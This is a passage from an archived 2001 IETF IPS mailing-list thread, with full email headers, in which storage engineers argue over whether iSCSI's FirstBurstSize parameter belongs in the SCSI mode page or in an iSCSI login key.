dynamically over several connections. Resource-wise (as Bob Snively has pointed out) those are SCSI issues. A nice way out would be to ask T10 for a text mode negotiaton :-) Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : default iscsi mode page owner-ips@ece. settings. cmu.edu 24-09-01 18:38 Please respond to Santosh Rao Julian, The FirstBurstSize is an iscsi property and not an attribute of the scsi ULP. Evidence of this lies in its location itself, the disconnect-reconnect mode page. This mode page is used to tune the parameters of the service delivery subsystem (in our case, this would be iscsi). I would like to re-iterate my request that FirstBurstSize be placed as a login key. Regards, Santosh > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 21, 2001 11:06 PM > To: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > That is not my reading of the map. The unsolicited payload buffer size is a > "data sink" attribute. The data sink is the SCSI engine and not the iSCSI > layer. > > Julo > > > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: Re: iscsi : default > iscsi mode > owner-ips@ece. page settings. > > cmu.edu > > > > > > 21-09-01 21:50 > > Please respond > > to Santosh Rao > > > > > > Julian, > > The FirstBurstSize is governing an iscsi parameter which is : "how much > un-solicited > data can the initiator send" ? I concur with Charles' suggestion that > FirstBurstSize be > moved to a login key. > > By doing this, we can improve scan times, due to the elimination of the > mode > sense/select & avoid the side effects of shared mode pages. This allows > easier use of > un-solicited data. > > Regards, > Santosh #### santoshr.vcf has been removed from this note on September 24 2001 by Julian Satran From owner-ips@ece.cmu.edu Mon Sep 24 15:19:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28473 for ; Mon, 24 Sep 2001 15:19:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OI2gZ08521 for ips-outgoing; Mon, 24 Sep 2001 14:02:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OI2eP08517 for ; Mon, 24 Sep 2001 14:02:41 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id 171AEAC4; Mon, 24 Sep 2001 11:02:40 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA03325; Mon, 24 Sep 2001 11:02:35 -0700 (PDT) Message-ID: <3BAF76C5.FECF63DC@cup.hp.com> Date: Mon, 24 Sep 2001 11:09:09 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: <00e801c1451f$275fd860$0501fea9@SANJEEV> Content-Type: multipart/mixed; boundary="------------CCE70817AD9F3A1811F0C9BD" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------CCE70817AD9F3A1811F0C9BD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > I think the FirstBurstSize be kept as login key but here we will have a > problem as to which value be over-ridden whether the one sent by initiator > or target. Sanjeev, I don't think there is an ambiguity on which value is to be accepted. The final negotiated value is agreed upon by both parties. See below definition of numerical key negotiation, taken from Section 2.2.4 of Rev 7.97 : " In numerical negotiations, the offering and responding party state a numerical value. The result of the negotiation is key dependent; frequently the lower or the higher of the two values is used. " By defining the FirstBurstSize as a login key and specifying that the lower of the 2 numbers is accepted, there is no ambiguity over the final chosen value. This is true of all numerical negotiations. See the definition of MaxConnections as an example : "MaxConnections= Default is 8. Initiator and target negotiate the maximum number of connections requested/acceptable. The lower of the 2 numbers is selected." Regards, Santosh > This depends upon whether > > a. the iSCSI target should be made so efficient as to support different > values of Firstburstsize for different initiators. If it is so then the > target accepts the Initiator value. This increases complexity on target side > or > b. the iSCSI target should operate on one particular mode of FirstBusSize. > If it is so then initiator accepts target value. But in this case also I > foresee a problem in this case when multiple intiators are accessing a iSCSI > target and one of the iSCSI initiator changes the value of FirstBusSize --------------CCE70817AD9F3A1811F0C9BD Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------CCE70817AD9F3A1811F0C9BD-- From owner-ips@ece.cmu.edu Mon Sep 24 16:32:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00193 for ; Mon, 24 Sep 2001 16:32:15 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OJMOO14545 for ips-outgoing; Mon, 24 Sep 2001 15:22:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OJMLP14527 for ; Mon, 24 Sep 2001 15:22:21 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 3793B1F59C; Mon, 24 Sep 2001 12:22:14 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id MAA11677; Mon, 24 Sep 2001 12:22:09 -0700 (PDT) Message-ID: <3BAF896B.B9313753@cup.hp.com> Date: Mon, 24 Sep 2001 12:28:43 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: Content-Type: multipart/mixed; boundary="------------6EB5E7A3FD3DAA174FD0D877" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------6EB5E7A3FD3DAA174FD0D877 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian Satran wrote: > I can sympathize with you wanting to use most of the parameters in iSCSI - > but the values are in fact restrictions that SCSI places on iSCSI. Julian, I'm confused by your response. The SPC-2 description of Disconnect-Reconnect mode page indicates that : "The parameters appropriate to each protocol and their interpretation for that protocol may be specified in the individual protocol documents". FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for the pSCSI transport. Thus, iscsi is within its rights to declare this field as reserved and attach no meaning to it in the mode page. The FirstBurstSize can be negotiated during iscsi login through a login key. > Nevertheless the discussion is rather academic because SCSI can hand those > parameters to iSCSI. Again, I'm confused by your response. The reasons I'm suggesting the use of a login key instead of the mode page method are : * More accurate scope (applies only to this I-T nexus). * More optimal negotiation and reduced overhead in the establishment of the I-T nexus. (2 less SCSI commands per I-T nexus establishment.). * Enables faster I/O scan times due to lesser on-the-wire activity during I-T nexus establishment. * Allows less room for error in the I-T nexus establishment (no possiblity of failure to establish I-T nexus due to mode sense/select command failure). * Avoids mode select wars that can occur when target uses shared mode pages. * Simpler initiator implementations since they can avoid embedding SCSI command set knowledge as well as code to build/parse SCSI commands. Also, they can avoid extra code that is required to snoop for CHECK CONDITION with (sense key=UA, ASC="mode parameters changed") in order to re-issue a mode sense to determine new values for FirstBurstSize. * Less code to interact with SCSI ULP application client to co-ordinate the mode page values b/n the ULP & LLP. * Can use un-solicited data from the very first scsi command in the session. I don't consider any of the above reasons to be academic and would like to know which ones among the above do you believe are academic and why ? > SCSI can handle those parameters dynamically. iSCSI may have trouble > handling this type of negotiation dynamically over several connections. This is exactly the kind of stuff we don't need and should actually be trying to avoid. What good does dynamically changing FirstBurstSize serve ? Dynamically changing FirstBurstSize would only be achieved with least side-effects if : 1) The mode select implementation on target is not using shared mode pages. 2) The initiator has quiesced I/O prior to issuing the mode select for the change. Neither of the above 2 conditions would typically apply and any dynamic change of FirstBurstSize would only cause initiators to see a bunch of side-effects such as : a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to "not enough un-solicited data". b) UA CHECK CONDITION for "mode parameters changed". In the interests of simplification and avoiding disruption of active I/O, such modifications must be avoided as far as possible. One way to achieve that is to use a login key and make it LO. > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > A nice way out would be to ask T10 for a text mode negotiaton :-) Once again, I'm perplexed by your response. I'm not saying that text mode negotiation is the reason I suggest moving this to a login key. The main objective is to isolate such negotiation within the iscsi layer in an iscsi specific PDU that is a part of the iscsi login process. Hope you will consider all of the above factors. Thanks, Santosh ps : [I wonder if there are any others on this list who care to voice their opinion on this issue. (??). ] --------------6EB5E7A3FD3DAA174FD0D877 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------6EB5E7A3FD3DAA174FD0D877-- From owner-ips@ece.cmu.edu Mon Sep 24 16:32:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00215 for ; Mon, 24 Sep 2001 16:32:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OJcED15658 for ips-outgoing; Mon, 24 Sep 2001 15:38:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OJcBP15653 for ; Mon, 24 Sep 2001 15:38:11 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel11.hp.com (Postfix) with ESMTP id 2C1D11F5EE; Mon, 24 Sep 2001 12:38:04 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id MAA13051; Mon, 24 Sep 2001 12:37:59 -0700 (PDT) Message-ID: <3BAF8D21.51EF8060@cup.hp.com> Date: Mon, 24 Sep 2001 12:44:34 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "Elliott, Robert" Cc: IPS Reflector Subject: Re: iscsi : default iscsi mode page settings. References: <78AF3C342AEAEF4BA33B35A8A15668C6019E2042@cceexc17.americas.cpqcorp.net> Content-Type: multipart/mixed; boundary="------------94C3F71F56A1D592B612E86C" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------94C3F71F56A1D592B612E86C Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Elliott, Robert" wrote: > If there were not already a FirstBurstSize for other protocols > controlled by the mode page, I'd agree - these protocol-specific > fields shouldn't be controlled by mode pages, which can be > changed by applications at any time. They ought to be properties > of the login session and controlled only by the iSCSI drivers. > > However, it has been defined this way for other protocols, so > I think a compatible control is needed for iSCSI. This makes > protocol bridges simpler, and will avoid confusing software that > does try to use these mode pages. A page that appears when > a FC target is connected to a host via FC should also appear > with the same meaning when presented through an iSCSI bridge > via Ethernet. Rob, Is the un-solicited data support offered by an iSCSI bridge tied to its back end target's ability to support the same ? My understanding is that the immediate data and un-solicited data buffering limits are a measure of the iscsi bridge's buffering capabilities and settings like FirstBurstSize and DataPDULength are properties of the iscsi bridge rather than its back end targets. Why, then, would it be interested in forwarding the mode sense/select to the back-end device ? Rather, it would be attempting to filter out such commands from the command stream destined to the back-end target and process such commands within the bridge. (Example : Is an iscsi bridge that is supporting back-end pSCSI devices and older gen FCP devices that do not support FirstBurstSize prevented from the use of un-solicited data. ? ) IMO, using the mode select/sense for setting these attributes, rather than iscsi login keys implies MORE work for iscsi bridge developers since they need to snoop and intercept these mode sense/select, rather than have them negotiated/queried thru iscsi means such as login keys. They may also need to take action preventing such mode select/sense CDBs from being delivered to its back end for the same reason. Regards, Santosh --------------94C3F71F56A1D592B612E86C Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------94C3F71F56A1D592B612E86C-- From owner-ips@ece.cmu.edu Mon Sep 24 17:30:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01604 for ; Mon, 24 Sep 2001 17:30:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OKFnD18386 for ips-outgoing; Mon, 24 Sep 2001 16:15:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from va2mc.ummailbox.net (va2mc.ummailbox.net [64.210.247.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OKFjP18376 for ; Mon, 24 Sep 2001 16:15:45 -0400 (EDT) Received: from hqmailweb.COMMSTOR.Crossroads.com (HQMailWeb.Crossroads.com [63.237.99.250:25]) by va2mc.ummailbox.net with ESMTP id N0924-1615-4d6d00; Mon, 24 Sep 2001 20:15:36 GMT Received: from HQMAILNODE1.COMMSTOR.Crossroads.com ([10.5.1.42]) by hqmailweb.COMMSTOR.Crossroads.com with Microsoft SMTPSVC(5.0.2195.2966); Mon, 24 Sep 2001 15:15:35 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Disposition-Notification-To: "Lee Xing" Subject: A Question on ExpStatSN Date: Mon, 24 Sep 2001 15:15:34 -0500 Message-ID: Thread-Topic: Questions on v.07/08 Thread-Index: AcFCz8EK1CBuUdedR7ie21/cmPOaEgCX7/4w From: "Lee Xing" To: X-OriginalArrivalTime: 24 Sep 2001 20:15:35.0577 (UTC) FILETIME=[AB7D1890:01C14535] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8OKFkP18377 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Sanjeev pointed out that the version # in my original post didn't match the latest release, so let me target my question to the latest release v.07-97 and repost it. Thanks. Lee Crossroads Systems, Inc. =================================== > Q: > v.07-97 p27 states "... ExpStatSN is used by the initiator > to acknowledge status." > > The question is how it could be possible for initiators to > use ExpStatSN to acknowledge status when target uses > queued commands? > > From owner-ips@ece.cmu.edu Mon Sep 24 17:35:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01705 for ; Mon, 24 Sep 2001 17:35:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OKZPD19782 for ips-outgoing; Mon, 24 Sep 2001 16:35:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OKZNP19778 for ; Mon, 24 Sep 2001 16:35:23 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA35768; Mon, 24 Sep 2001 16:33:02 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8OKZBE194446; Mon, 24 Sep 2001 14:35:11 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iscsi : default iscsi mode page settings. To: Santosh Rao Cc: "Julian Satran" , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Mon, 24 Sep 2001 13:34:27 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/24/2001 02:35:12 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk In addition to what Santosh said, If I understand this right, I think it is a problem for iSCSI to have to keep going across layers to determine what the values are. Since iSCSI Target will not see the CDB that caused the values to change. Now if the value in the mode page is only the default, that would be a different issue. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. Julian Satran wrote: > I can sympathize with you wanting to use most of the parameters in iSCSI - > but the values are in fact restrictions that SCSI places on iSCSI. Julian, I'm confused by your response. The SPC-2 description of Disconnect-Reconnect mode page indicates that : "The parameters appropriate to each protocol and their interpretation for that protocol may be specified in the individual protocol documents". FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for the pSCSI transport. Thus, iscsi is within its rights to declare this field as reserved and attach no meaning to it in the mode page. The FirstBurstSize can be negotiated during iscsi login through a login key. > Nevertheless the discussion is rather academic because SCSI can hand those > parameters to iSCSI. Again, I'm confused by your response. The reasons I'm suggesting the use of a login key instead of the mode page method are : * More accurate scope (applies only to this I-T nexus). * More optimal negotiation and reduced overhead in the establishment of the I-T nexus. (2 less SCSI commands per I-T nexus establishment.). * Enables faster I/O scan times due to lesser on-the-wire activity during I-T nexus establishment. * Allows less room for error in the I-T nexus establishment (no possiblity of failure to establish I-T nexus due to mode sense/select command failure). * Avoids mode select wars that can occur when target uses shared mode pages. * Simpler initiator implementations since they can avoid embedding SCSI command set knowledge as well as code to build/parse SCSI commands. Also, they can avoid extra code that is required to snoop for CHECK CONDITION with (sense key=UA, ASC ="mode parameters changed") in order to re-issue a mode sense to determine new values for FirstBurstSize. * Less code to interact with SCSI ULP application client to co-ordinate the mode page values b/n the ULP & LLP. * Can use un-solicited data from the very first scsi command in the session. I don't consider any of the above reasons to be academic and would like to know which ones among the above do you believe are academic and why ? > SCSI can handle those parameters dynamically. iSCSI may have trouble > handling this type of negotiation dynamically over several connections. This is exactly the kind of stuff we don't need and should actually be trying to avoid. What good does dynamically changing FirstBurstSize serve ? Dynamically changing FirstBurstSize would only be achieved with least side-effects if : 1) The mode select implementation on target is not using shared mode pages. 2) The initiator has quiesced I/O prior to issuing the mode select for the change. Neither of the above 2 conditions would typically apply and any dynamic change of FirstBurstSize would only cause initiators to see a bunch of side-effects such as : a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to "not enough un-solicited data". b) UA CHECK CONDITION for "mode parameters changed". In the interests of simplification and avoiding disruption of active I/O, such modifications must be avoided as far as possible. One way to achieve that is to use a login key and make it LO. > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > A nice way out would be to ask T10 for a text mode negotiaton :-) Once again, I'm perplexed by your response. I'm not saying that text mode negotiation is the reason I suggest moving this to a login key. The main objective is to isolate such negotiation within the iscsi layer in an iscsi specific PDU that is a part of the iscsi login process. Hope you will consider all of the above factors. Thanks, Santosh ps : [I wonder if there are any others on this list who care to voice their opinion on this issue. (??). ] From owner-ips@ece.cmu.edu Mon Sep 24 18:21:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA02475 for ; Mon, 24 Sep 2001 18:21:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OLGZU22842 for ips-outgoing; Mon, 24 Sep 2001 17:16:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OLGMP22817 for ; Mon, 24 Sep 2001 17:16:26 -0400 (EDT) Received: from SANJEEV ([169.254.1.5]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TQ0FQVHC; Mon, 24 Sep 2001 23:17:57 +0200 Message-ID: <016401c1453f$43aa8770$0501fea9@SANJEEV> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Santosh Rao" Cc: References: <00e801c1451f$275fd860$0501fea9@SANJEEV> <3BAF76C5.FECF63DC@cup.hp.com> Subject: Re: iscsi : default iscsi mode page settings. Date: Mon, 24 Sep 2001 23:24:12 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Santosh, Yes agreed!!, this works fine with me. But now the target will have to support different values of FirstBurstSize for different initiators. But should this field be kept in mode page if it will be dynamically configurable and it value may vary for different inititators. This goes against the semantics of mode pages. However keeping them in mode page may mean similarity and compatibility with FCP-2 Sanjeev ----- Original Message ----- From: "Santosh Rao" To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" Cc: Sent: Monday, September 24, 2001 8:09 PM Subject: Re: iscsi : default iscsi mode page settings. > "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > > > I think the FirstBurstSize be kept as login key but here we will have a > > problem as to which value be over-ridden whether the one sent by initiator > > or target. > > Sanjeev, > > I don't think there is an ambiguity on which value is to be accepted. The final > negotiated value is agreed upon by both parties. See below definition of > numerical key negotiation, taken from Section 2.2.4 of Rev 7.97 : > > " In numerical negotiations, the offering and responding party state a > numerical value. The result of the negotiation is key dependent; frequently the > lower or the higher of the two values is used. " > > By defining the FirstBurstSize as a login key and specifying that the lower of > the 2 numbers is accepted, there is no ambiguity over the final chosen value. > This is true of all numerical negotiations. See the definition of > MaxConnections as an example : > > "MaxConnections= > > Default is 8. > > Initiator and target negotiate the maximum number of connections > requested/acceptable. The lower of the 2 numbers is selected." > > Regards, > Santosh > > > > This depends upon whether > > > > a. the iSCSI target should be made so efficient as to support different > > values of Firstburstsize for different initiators. If it is so then the > > target accepts the Initiator value. This increases complexity on target side > > or > > b. the iSCSI target should operate on one particular mode of FirstBusSize. > > If it is so then initiator accepts target value. But in this case also I > > foresee a problem in this case when multiple intiators are accessing a iSCSI > > target and one of the iSCSI initiator changes the value of FirstBusSize > From owner-ips@ece.cmu.edu Mon Sep 24 20:55:49 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA04524 for ; Mon, 24 Sep 2001 20:55:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ONjcY01648 for ips-outgoing; Mon, 24 Sep 2001 19:45:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from smtp06.wxs.nl (smtp06.wxs.nl [195.121.6.58]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ONjVP01641 for ; Mon, 24 Sep 2001 19:45:31 -0400 (EDT) Received: from daniel ([213.10.179.111]) by smtp06.wxs.nl (Netscape Messaging Server 4.15) with SMTP id GK6XZK02.ISH; Tue, 25 Sep 2001 01:45:20 +0200 Message-ID: <00d101c14554$c0498e60$9600000a@daniel> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Santosh Rao" , "John Hufferd" Cc: "Julian Satran" , References: Subject: Re: iscsi : default iscsi mode page settings. Date: Tue, 25 Sep 2001 01:58:03 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care 